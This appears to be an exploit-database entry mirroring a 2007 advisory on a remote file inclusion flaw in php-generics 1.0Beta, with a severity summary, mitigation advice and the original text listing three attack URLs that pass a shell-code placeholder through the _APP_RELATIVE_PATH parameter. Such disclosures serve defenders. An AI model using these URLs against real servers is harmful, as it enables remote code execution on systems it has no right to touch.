header-logo
Suggest Exploit
vendor:
php-generics
by:
bd0rk
7.5
CVSS
HIGH
Remote File Inclusion
98
CWE
Product Name: php-generics
Affected Version From: 1.0Beta
Affected Version To: 1.0Beta
Patch Exists: NO
Related CWE:
CPE:
Metasploit:
Other Scripts:
Platforms Tested:
2007

php-generics 1.0 Remote File Inclusion Vulnerabilities

The vulnerability allows an attacker to include a remote file in the application, which can lead to remote code execution. The vulnerability exists in the include.php, /dbcommon/include.php, and /exception/include.php files.

Mitigation:

To mitigate this vulnerability, ensure that the $_APP_RELATIVE_PATH variable is properly validated and sanitized before being used in any include or require statements. Additionally, consider implementing a whitelist approach for including files.
Source

Exploit-DB raw data:

                  --------------------------------------------------------
                 
                                           
                   php-generics 1.0 Remote File Inclusion Vulnerabilities
                 
                  --------------------------------------------------------


Software: php-generics 1.0Beta

Vendor: http://ie.archive.ubuntu.com/sourceforge/p/ph/php-generics/php-generics-1.0.0-beta.zip
        http://sourceforge.net/projects/php-generics/

Bugfounder: bd0rk

Vulnerable files: include.php, /dbcommon/include.php, /exception/include.php

[+]Exploit 1: http://[target]/[directory]/include.php?_APP_RELATIVE_PATH=[ShellCode]

[+]Exploit 2: http://[target]/[directory]/dbcommon/include.php?_APP_RELATIVE_PATH=[ShellCode]

[+]Exploit 3: http://[target]/[directory]/exception/include.php?_APP_RELATIVE_PATH=[ShellCode]

Problem: $_APP_RELATIVE_PATH is not declared before include_once and no configfile is aviable

Greetings: str0ke, TheJT, HaSSPappeL ;-)

Website1: www.soh-crew.it.tt

Website2: www.hackschool.dl.am

#The 18 years old, german Hacker bd0rk

# milw0rm.com [2007-04-05]